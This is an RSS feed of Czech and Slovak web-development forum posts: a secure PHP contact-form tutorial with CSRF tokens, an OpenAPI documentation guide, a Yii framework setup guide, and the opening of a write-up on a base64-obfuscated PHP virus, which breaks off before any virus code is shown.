<?xml version="1.0"?>
<rss version="2.0"><channel><title>Webov&#xFD; v&#xFD;voj - PHP, ASP.NET, JS Latest Topics</title><link>https://pawno.cz/index.php?/forum/219-webov%C3%BD-v%C3%BDvoj-php-aspnet-js/</link><description>Webov&#xFD; v&#xFD;voj - PHP, ASP.NET, JS Latest Topics</description><language>cs</language><item><title>PHP pro za&#x10D;&#xE1;te&#x10D;n&#xED;ky: Tvorba bezpe&#x10D;n&#xE9;ho kontaktn&#xED;ho formul&#xE1;&#x159;e se serverovou validac&#xED; a CSRF</title><link>https://pawno.cz/index.php?/topic/56712-php-pro-za%C4%8D%C3%A1te%C4%8Dn%C3%ADky-tvorba-bezpe%C4%8Dn%C3%A9ho-kontaktn%C3%ADho-formul%C3%A1%C5%99e-se-serverovou-validac%C3%AD-a-csrf/</link><description><![CDATA[<h1>
	PHP pro začátečníky: Vytvoření bezpečného kontaktního formuláře s validací a CSRF základy
</h1>

<p>
	Tento článek ukazuje, jak postavit jednoduchý PHP backend pro zpracování kontaktního formuláře s důrazem na serverovou validaci, sanitaci vstupů a základní bezpečnostní praktiky (včetně ochrany CSRF a bezpečného odesílání e-mailů). Je určen jak pro začátečníky, tak pro profesionály, kteří chtějí své základy upevnit a ověřit správné postupy na praktické ukázce.
</p>

<h2>
	Bezpečné zpracování vstupů na straně serveru
</h2>

<p>
	Jako první pravidlo platí: nikdy neuspěcháme se zpracováním dat jen na straně klienta. Formulář může být upraven, hacknut, nebo zneužit. Zpracování vstupů by mělo probíhat na serveru, kde lze důkladně ověřit i ošetřit data před dalším použitím (odesláním e-mailu, uložením do databáze apod.). Základní kroky zahrnují validaci, sanitaci a bezpečné nakládání s výstupy.
</p>

<h3>
	Ochrana CSRF a validace vstupů
</h3>

<p>
	CSRF (Cross-Site Request Forgery) je útok, při kterém útočník podešle nekalý požadavek za vás. Abychom tomu zabránili, vygenerujeme náhodný token a vložíme ho do formuláře. Při zpracování požadavku pak token ověříme. Společně s CSRF tokenem provádíme také validaci a sanitaci vstupů (jméno, e-mail, zpráva).
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_1928_6" style=""><span class="pun">&lt;?</span><span class="pln">php
</span><span class="com">// Základní nastavení CSRF tokenu</span><span class="pln">
session_start</span><span class="pun">();</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="com">// Bezpečný náhodný token</span><span class="pln">
  $_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bin2hex</span><span class="pun">(</span><span class="pln">random_bytes</span><span class="pun">(</span><span class="lit">32</span><span class="pun">));</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="com">// Shromáždění chyb</span><span class="pln">
$errors </span><span class="pun">=</span><span class="pln"> </span><span class="pun">[];</span><span class="pln">

</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'REQUEST_METHOD'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="str">'POST'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="com">// Ověření CSRF tokenu</span><span class="pln">
  $postedToken </span><span class="pun">=</span><span class="pln"> $_POST</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">;</span><span class="pln">
  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">hash_equals</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">],</span><span class="pln"> $postedToken</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Neplatný CSRF token.'</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">

  </span><span class="com">// Získání a sanitace vstupů</span><span class="pln">
  $name    </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'name'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">
  $email   </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'email'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">
  $message </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'message'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">

  </span><span class="com">// Validace</span><span class="pln">
  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$name </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zadejte jméno.'</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$email </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">filter_var</span><span class="pun">(</span><span class="pln">$email</span><span class="pun">,</span><span class="pln"> FILTER_VALIDATE_EMAIL</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zadejte platný e-mail.'</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$message </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> mb_strlen</span><span class="pun">(</span><span class="pln">$message</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">10</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zpráva musí obsahovat alespoň 10 znaků.'</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">

  </span><span class="com">// Sanitace pro výstup do e-mailu / okna</span><span class="pln">
  $name    </span><span class="pun">=</span><span class="pln"> htmlspecialchars</span><span class="pun">(</span><span class="pln">$name</span><span class="pun">,</span><span class="pln"> ENT_QUOTES</span><span class="pun">,</span><span class="pln"> </span><span class="str">'UTF-8'</span><span class="pun">);</span><span class="pln">
  $email   </span><span class="pun">=</span><span class="pln"> filter_var</span><span class="pun">(</span><span class="pln">$email</span><span class="pun">,</span><span class="pln"> FILTER_SANITIZE_EMAIL</span><span class="pun">);</span><span class="pln">
  $message </span><span class="pun">=</span><span class="pln"> htmlspecialchars</span><span class="pun">(</span><span class="pln">$message</span><span class="pun">,</span><span class="pln"> ENT_QUOTES</span><span class="pun">,</span><span class="pln"> </span><span class="str">'UTF-8'</span><span class="pun">);</span><span class="pln">

  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$errors</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="com">// Bezpečné odesílání e-mailu</span><span class="pln">
    $to      </span><span class="pun">=</span><span class="pln"> </span><span class="str">'tvoje@domena.cz'</span><span class="pun">;</span><span class="pln">
    $subject </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Nová zpráva z kontaktního formuláře'</span><span class="pun">;</span><span class="pln">
    $body    </span><span class="pun">=</span><span class="pln"> </span><span class="str">"Jméno: $name\nEmail: $email\n\nZpráva:\n$message"</span><span class="pun">;</span><span class="pln">

    </span><span class="com">// Důležité: From by měl být doménový email odpovídající serveru</span><span class="pln">
    $headers  </span><span class="pun">=</span><span class="pln"> </span><span class="str">"From: Pawno.cz \r\n"</span><span class="pun">;</span><span class="pln">
    $headers </span><span class="pun">.=</span><span class="pln"> </span><span class="str">"Reply-To: $email\r\n"</span><span class="pun">;</span><span class="pln">
    $headers </span><span class="pun">.=</span><span class="pln"> </span><span class="str">"Content-Type: text/plain; charset=UTF-8"</span><span class="pun">;</span><span class="pln">

    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mail</span><span class="pun">(</span><span class="pln">$to</span><span class="pun">,</span><span class="pln"> $subject</span><span class="pun">,</span><span class="pln"> $body</span><span class="pun">,</span><span class="pln"> $headers</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      echo </span><span class="str">'Zpráva byla odeslána. Děkujeme!'</span><span class="pun">;</span><span class="pln">
      </span><span class="com">// Rotace CSRF tokenu po úspěšném odeslání</span><span class="pln">
      $_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bin2hex</span><span class="pun">(</span><span class="pln">random_bytes</span><span class="pun">(</span><span class="lit">32</span><span class="pun">));</span><span class="pln">
    </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Nepodařilo se odeslat zprávu. Zkuste to prosím později.'</span><span class="pun">;</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
</span><span class="pun">?&gt;</span><span class="pln">  </span></pre>

<p>
	Další poznámka: i když je PHP mail() funkce jednoduchá, v produkčním prostředí se často doporučuje používat knihovny jako PHPMailer nebo SwiftMailer. Ty poskytují lepší správu odchozích emailů, bezpečnostní hlavičky a lepší viditelnost nad chybami odeslání.
</p>

<h2>
	Praktické ukázky kódu
</h2>

<p>
	Následují dva jednoduché příklady, které ilustrují principy zpracování formuláře a CSRF tokenů.
</p>

<h3>
	HTML formulář s CSRF tokenem
</h3>

<pre class="ipsCode prettyprint lang-html prettyprinted" id="ips_uid_1928_8" style=""><span class="tag">&lt;form</span><span class="pln"> </span><span class="atn">action</span><span class="pun">=</span><span class="atv">"process_contact.php"</span><span class="pln"> </span><span class="atn">method</span><span class="pun">=</span><span class="atv">"post"</span><span class="tag">&gt;</span><span class="pln">
  </span><span class="tag">&lt;label</span><span class="pln"> </span><span class="atn">for</span><span class="pun">=</span><span class="atv">"name"</span><span class="tag">&gt;</span><span class="pln">Jméno</span><span class="tag">&lt;/label&gt;</span><span class="pln">
  </span><span class="tag">&lt;input</span><span class="pln"> </span><span class="atn">type</span><span class="pun">=</span><span class="atv">"text"</span><span class="pln"> </span><span class="atn">id</span><span class="pun">=</span><span class="atv">"name"</span><span class="pln"> </span><span class="atn">name</span><span class="pun">=</span><span class="atv">"name"</span><span class="pln"> </span><span class="atn">required</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">

  </span><span class="tag">&lt;label</span><span class="pln"> </span><span class="atn">for</span><span class="pun">=</span><span class="atv">"email"</span><span class="tag">&gt;</span><span class="pln">Email</span><span class="tag">&lt;/label&gt;</span><span class="pln">
  </span><span class="tag">&lt;input</span><span class="pln"> </span><span class="atn">type</span><span class="pun">=</span><span class="atv">"email"</span><span class="pln"> </span><span class="atn">id</span><span class="pun">=</span><span class="atv">"email"</span><span class="pln"> </span><span class="atn">name</span><span class="pun">=</span><span class="atv">"email"</span><span class="pln"> </span><span class="atn">required</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">

  </span><span class="tag">&lt;label</span><span class="pln"> </span><span class="atn">for</span><span class="pun">=</span><span class="atv">"message"</span><span class="tag">&gt;</span><span class="pln">Zpráva</span><span class="tag">&lt;/label&gt;</span><span class="pln">
  </span><span class="tag">&lt;textarea</span><span class="pln"> </span><span class="atn">id</span><span class="pun">=</span><span class="atv">"message"</span><span class="pln"> </span><span class="atn">name</span><span class="pun">=</span><span class="atv">"message"</span><span class="pln"> </span><span class="atn">required</span><span class="tag">&gt;&lt;/textarea&gt;</span><span class="pln">

  &lt;input type="hidden" name="csrf_token" value="</span><span class="pun">&lt;?</span><span class="pln">php echo htmlspecialchars</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">],</span><span class="pln"> ENT_QUOTES</span><span class="pun">,</span><span class="pln"> </span><span class="str">'UTF-8'</span><span class="pun">);</span><span class="pln"> </span><span class="pun">?&gt;</span><span class="pln">" /&gt;

  </span><span class="tag">&lt;button</span><span class="pln"> </span><span class="atn">type</span><span class="pun">=</span><span class="atv">"submit"</span><span class="tag">&gt;</span><span class="pln">Odeslat</span><span class="tag">&lt;/button&gt;</span><span class="pln">
</span><span class="tag">&lt;/form&gt;</span></pre>

<h3>
	PHP zpracování formuláře (zkrácená ukázka)
</h3>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_1928_10" style=""><span class="pun">&lt;?</span><span class="pln">php
session_start</span><span class="pun">();</span><span class="pln">
</span><span class="com">// CSRF token initialization (opět, pokud není)</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  $_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bin2hex</span><span class="pun">(</span><span class="pln">random_bytes</span><span class="pun">(</span><span class="lit">32</span><span class="pun">));</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="com">// Předpokládaná zpracovávaná data z POST</span><span class="pln">
$name    </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'name'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">
$email   </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'email'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">
$message </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">'message'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span><span class="pln">
$postedToken </span><span class="pun">=</span><span class="pln"> $_POST</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="str">''</span><span class="pun">;</span><span class="pln">

</span><span class="com">// CSRF validace</span><span class="pln">
$errors </span><span class="pun">=</span><span class="pln"> </span><span class="pun">[];</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">hash_equals</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">],</span><span class="pln"> $postedToken</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Neplatný CSRF token.'</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="com">// Validace vstupů</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$name </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span><span class="pln"> $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zadejte jméno.'</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$email </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">filter_var</span><span class="pun">(</span><span class="pln">$email</span><span class="pun">,</span><span class="pln"> FILTER_VALIDATE_EMAIL</span><span class="pun">))</span><span class="pln"> $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zadejte platný email.'</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$message </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> mb_strlen</span><span class="pun">(</span><span class="pln">$message</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">10</span><span class="pun">)</span><span class="pln"> $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Zpráva musí mít alespoň 10 znaků.'</span><span class="pun">;</span><span class="pln">

</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$errors</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="com">// Sanitace pro výstup</span><span class="pln">
  $name    </span><span class="pun">=</span><span class="pln"> htmlspecialchars</span><span class="pun">(</span><span class="pln">$name</span><span class="pun">,</span><span class="pln"> ENT_QUOTES</span><span class="pun">,</span><span class="pln"> </span><span class="str">'UTF-8'</span><span class="pun">);</span><span class="pln">
  $email   </span><span class="pun">=</span><span class="pln"> filter_var</span><span class="pun">(</span><span class="pln">$email</span><span class="pun">,</span><span class="pln"> FILTER_SANITIZE_EMAIL</span><span class="pun">);</span><span class="pln">
  $message </span><span class="pun">=</span><span class="pln"> htmlspecialchars</span><span class="pun">(</span><span class="pln">$message</span><span class="pun">,</span><span class="pln"> ENT_QUOTES</span><span class="pun">,</span><span class="pln"> </span><span class="str">'UTF-8'</span><span class="pun">);</span><span class="pln">

  $to      </span><span class="pun">=</span><span class="pln"> </span><span class="str">'tvoje@domena.cz'</span><span class="pun">;</span><span class="pln">
  $subject </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Nová zpráva z kontaktního formuláře'</span><span class="pun">;</span><span class="pln">
  $body    </span><span class="pun">=</span><span class="pln"> </span><span class="str">"Jméno: $name\nEmail: $email\n\nZpráva:\n$message"</span><span class="pun">;</span><span class="pln">

  $headers </span><span class="pun">=</span><span class="pln"> </span><span class="str">"From: Pawno.cz \r\n"</span><span class="pun">;</span><span class="pln">
  $headers </span><span class="pun">.=</span><span class="pln"> </span><span class="str">"Reply-To: $email\r\n"</span><span class="pun">;</span><span class="pln">
  $headers </span><span class="pun">.=</span><span class="pln"> </span><span class="str">"Content-Type: text/plain; charset=UTF-8"</span><span class="pun">;</span><span class="pln">

  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mail</span><span class="pun">(</span><span class="pln">$to</span><span class="pun">,</span><span class="pln"> $subject</span><span class="pun">,</span><span class="pln"> $body</span><span class="pun">,</span><span class="pln"> $headers</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    echo </span><span class="str">'Zpráva byla odeslána.'</span><span class="pun">;</span><span class="pln">
    $_SESSION</span><span class="pun">[</span><span class="str">'csrf_token'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bin2hex</span><span class="pun">(</span><span class="pln">random_bytes</span><span class="pun">(</span><span class="lit">32</span><span class="pun">));</span><span class="pln">
  </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    $errors</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'Chyba při odesílání; zkuste to prosím později.'</span><span class="pun">;</span><span class="pln">
  </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
</span><span class="pun">?&gt;</span></pre>

<p>
	Tip pro začátečníky: vkládejte CSRF tokeny jen do skrytých polí formuláře a na straně serveru vždy ověřujte tokeny. Důležité je také minimálně sanitizovat vstupy a neukládat nebo nevracet nepřesně zpracované data přímo do HTML bez escapingu. Pokud řešíte složitější e-mailové šablony nebo odesílání na více adres, zvažte použití knihovny jako PHPMailer.
</p>

<p>
	Máte vlastní zkušenosti s bezpečným zpracováním formulářů v PHP? Podělte se o tipy, otázky nebo své zkušenosti v komentářích níže a zapojte se do diskuze s komunitou Pawno.cz!
</p>
]]></description><guid isPermaLink="false">56712</guid><pubDate>Tue, 30 Sep 2025 12:42:10 +0000</pubDate></item><item><title>[INSIGHTER&#x2122;] API Dokumentacia &#x1F9BE;</title><link>https://pawno.cz/index.php?/topic/56237-insighter%E2%84%A2-api-dokumentacia-%F0%9F%A6%BE/</link><description><![CDATA[<p>
	Jagshemas,<br />
	v tomto insighteri by som vam chcel predstavit generovanie <strong>API</strong> <strong>dokumentacie</strong> pre webove aplikacie.
</p>

<p>
	O co ide?<br />
	Dokumentavanie webovych endpointov je velmi dolezite pokial chcete, aby vase<strong> API pouzivali aj ostatni ludia</strong>.<br />
	Nikto poriadne neriesi ako vlastne na to a vela krat je vysledkom iba odflaktnuty automaticky vygenerovany swagger napr. z .NETu.
</p>

<p>
	Ako bude vygenerovana dokumentacia vyzerat/<strong>o co sa vlastne jedna </strong>vizualne?<br />
	Priblizne takto: <a href="https://stripe.com/docs/api/orders/object" rel="external nofollow">https://stripe.com/docs/api/orders/object</a> a takto <a href="https://redocly.github.io/redoc/#section/Introduction" rel="external nofollow">https://redocly.github.io/redoc/#section/Introduction</a>
</p>

<p>
	Ako nato?<br />
	Existuje super standard, ktory sa vola <strong>OpenAPI</strong> (ako inak). Je to schema JSON/YAML suboru v ktorom popisujete vase API.<br />
	Zaklad suboru vam dokaze pravdepodobne vyexportovat vas framework, ako napr. vyssie spominany Swagger v .NET.<br />
	Na editovanie a pridavania examplov, popisu a pod. je opensource SW s nazvom <strong>Spotlight Studio</strong>.
</p>

<p>
	A finalne, na <strong>generovanie</strong> sa moze pouzit <strong>redoc</strong>, ktory vam dokaze subory bud <strong>servovat</strong> (ako http server) alebo <strong>vygeneruje standalone all-in-one html</strong> subor, ktory si nahodite na svoj web.<br />
	Pre generovanie sa pouzije jednoduchy prikaz:<br />
	 
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted">
<span class="pln">npx redoc-cli bundle </span><span class="tag">&lt;nazov_suboru.yaml&gt;</span></pre>

<p>
	(nodeJs potrebne. npx spusti npm package bez toho, aby ho stiahol).
</p>

<p>
	 
</p>

<p>
	Linky:
</p>

<p>
	Spotlight Studio - <a href="https://stoplight.io/studio/" rel="external nofollow">https://stoplight.io/studio/</a><br />
	ReDoc - <a href="https://github.com/Redocly/redoc" rel="external nofollow">https://github.com/Redocly/redoc</a><br />
	OpenAPI specka - <a href="https://www.openapis.org/" rel="external nofollow">https://www.openapis.org/</a>
</p>
]]></description><guid isPermaLink="false">56237</guid><pubDate>Thu, 14 Jan 2021 18:58:27 +0000</pubDate></item><item><title>Prvn&#xED; kr&#x16F;&#x10D;ky s Yii frameworkem [*]</title><link>https://pawno.cz/index.php?/topic/56224-prvn%C3%AD-kr%C5%AF%C4%8Dky-s-yii-frameworkem/</link><description><![CDATA[<p>
	<span style="font-size:20px;"><strong>Úvod</strong></span>
</p>

<p>
	Yii framework, je PHP framework a stejně jako mnoho dalších frameworku vám má především usnadnit práci a ušetřit čas psaním kódu.<br />
	První vydání bylo v roce 2008. Nyní je Yii framework již ve verzi dvě.<br />
	<br />
	Klade důraz na znovu použitelnost a jednoduchost použití. Je striktně objektově orientovaný a každá komponenta frameworku je nezávislá, konfigurovatelná a rozšířitelná.<br />
	 
</p>

<p>
	<span style="font-size:20px;"><strong>Vlastnosti</strong></span>
</p>

<ul>
	<li>
		Rozdělení aplikační a prezentační logiky na základě MVC architektury.
	</li>
	<li>
		Přístup k databázi pomocí Database Access Objects (DAO) a Active Record
	</li>
	<li>
		Integruje jQuery knihovnu, pro validaci formulářů
	</li>
	<li>
		Jednoduché a bezpečné zpracování formulářů a validace dat
	</li>
	<li>
		Autentizace a autorizace – kontrola přístupu na základě hierarchických rolí
	</li>
	<li>
		Lokalizace (L10N) a internacionalizace (I18N) – překlad textů, formátování čísel a času
	</li>
	<li>
		Zpracování, archivování a filtrace chyb
	</li>
	<li>
		Zabezpečení a odolnost aplikace vůči různým druhům útoků
	</li>
</ul>

<p>
	 
</p>

<p>
	<span style="font-size:20px;"><strong>Instalace</strong></span>
</p>

<p>
	<em>Instalace vyžaduje, aby jste měli v počítači nebo na serveru nainstalovaný composer. A pak připravení aplikace vyžaduje PHP. A již předem vytvořenou databázi (prázdnou).</em>
</p>

<p>
	Instalovat budeme <strong>advanced-template</strong>, jelikož <strong>basic-template</strong> nemá už v základu plno výhod a nechci vás o ně připravit.<br />
	<br />
	Otevřeme si příkazovou řádku a jdeme na to.<br />
	<br />
	Nejprve nainstalujeme plugin, který povoluje spravovat bower a npm závislosti skrze composer, a to příkazem:
</p>

<pre class="ipsCode">
composer global require "fxp/composer-asset-plugin:~1.1.1"</pre>

<p>
	 
</p>

<p>
	Poté si vytvoříme projekt samotný, příkazem:
</p>

<pre class="ipsCode">
composer create-project --prefer-dist yiisoft/yii2-app-advanced yii-application</pre>

<p>
	Tento příkaz si rozebereme: 
</p>

<ul>
	<li>
		composer – volání composeru
	</li>
	<li>
		create-project – dáváme vědět, že chceme vytvořit nový projekt
	</li>
	<li>
		--prefer-dist – znamená, že budeme upřesňovat, kde chceme nový projekt vytvořit
	</li>
	<li>
		yiisoft/yii2-app-advanced – název template advanced
	</li>
	<li>
		yii-application – název složky, která se vytvoří ve vašem počítači nebo na serveru s obsahem projektu (můžete libovolně upravit, dle svého)
	</li>
</ul>

<p>
	 
</p>

<p>
	<span style="font-size:20px;"><strong>Finalizace</strong></span><br />
	<br />
	Otevřeme si projekt v některém z editoru kódu, například VSC a otevřeme soubor: <strong>environments/dev/common/config/main-local.php</strong> – kde si <strong>nastavíme přístupy k databázi</strong>.
</p>

<p>
	Nyní musíme projekt z inicializovat, a to uděláme tak, že se v příkazovém řádku přesuneme do rootu nového projektu a pustíme příkaz<span>:</span>
</p>

<pre class="ipsCode">
php init</pre>

<p>
	 a zvolíme "<strong>Development</strong>".<br />
	<br />
	Poté pustíme migrace pomocí příkazu<span>:</span>
</p>

<pre class="ipsCode">
./yii migrate</pre>

<p>
	což nám automaticky vytvoří základní tabulky v databázi.
</p>

<p>
	 
</p>

<p>
	<strong>A to je vše!</strong>
</p>

<p>
	Nyní máte web přístupný pod adresou <strong>http(s)://vas_web.cz/frontend/web/</strong> a <strong>http(s)://vas_web.cz/backend/web/</strong> – samozřejmě si můžete v Apache/Nginx nebo jen v .htaccess nastavit alias pro cestu, ale to už nechám na vás!<br />
	<br />
	Snad vás tento návod bavil tak, jako mě a zase někdy, <strong>AHOJ!</strong><br />
	<br />
	 
</p>
]]></description><guid isPermaLink="false">56224</guid><pubDate>Tue, 12 Jan 2021 07:33:35 +0000</pubDate></item><item><title>[PHP] Reverse engineering viru</title><link>https://pawno.cz/index.php?/topic/55848-php-reverse-engineering-viru/</link><description><![CDATA[<p>
	Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci <span><img alt=":)" data-emoticon="true" data-loaded="true" data-ratio="120.00" height="24" src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" title=":)" width="20"></span>
</p>

<p>
	Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500)
</p>

<p>
	Celý inject vypadal takto:
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_6" style="">
<span class="pun">&lt;?</span><span class="pln">php
